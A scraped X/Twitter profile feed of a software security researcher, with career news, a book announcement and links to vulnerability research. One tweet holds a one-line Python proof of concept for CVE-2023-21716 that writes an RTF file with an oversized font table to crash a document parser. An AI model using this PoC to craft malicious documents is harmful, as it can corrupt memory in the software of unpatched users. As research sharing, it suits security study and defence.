user avatar
Joshua J. Drake
@jduck
Securing the future through modern technology. Founder and Software Security Specialist at @magnetitesec
Austin, TX
Joined December 2009
  • Pinned
    user avatar
    I cancelled my X/Twitter subscription and am not checking here anymore. Please follow me elsewhere!
  • user avatar
    Replying to @lcamtuf
    » factor 7387166931 7387166931: 3 179 307 44809
  • user avatar
    CVE-2023-21716 Python PoC (take 2) open("t3zt.rtf","wb").write(("{\\rtf1{\n{\\fonttbl" + "".join([ ("{\\f%dA;}\n" % i) for i in range(0,32761) ]) + "}\n{\\rtlch no crash??}\n}}\n").encode('utf-8'))
  • user avatar
    Metasploit module for CVE-2015-3864 now available! blog.zimperium.com/cve-2015-3864-… Pull Request: github.com/rapid7/metaspl…
  • user avatar
    Here's a teaser of my CVE-2015-3864 Metasploit module. It improves on Metaphor significantly. See it in real time:
  • user avatar
    Linux kernel race between chmod and suid-exec. github.com/google/securit… Reminds me of halfdog's works
  • user avatar
    Also, to temper some concern about @evilsocket recent research... His bugs are in a thing that none of you should have installed so when it's published, please just uninstall that junk. Hopefully the response of the developer shows how badly you need to remove it.
  • user avatar
    Replying to @0xdade
    It's not sql injection if you control the whole query, right? Hehe
  • user avatar
  • user avatar
    Android Hacker's Handbook is now shipping! Get yours today! Electronic version release will be in ~ 2 weeks
  • user avatar
    I'm officially fun-employed and looking for my next role. If you can see me filling a full time, part time, or contract position near you hit me up.
  • user avatar
    Also... ICYMI, I joined Amazon. Amazed by all the quality people I know inside. <3
  • user avatar
    I'm pleased to announce that I'm joining the zLabs team at @ZIMPERIUM blog.zimperium.com/top-hackers-jo…
  • user avatar
    I'm excited and honored to be invited to provide a keynote address Tuesday August 9th at USENIX WOOT!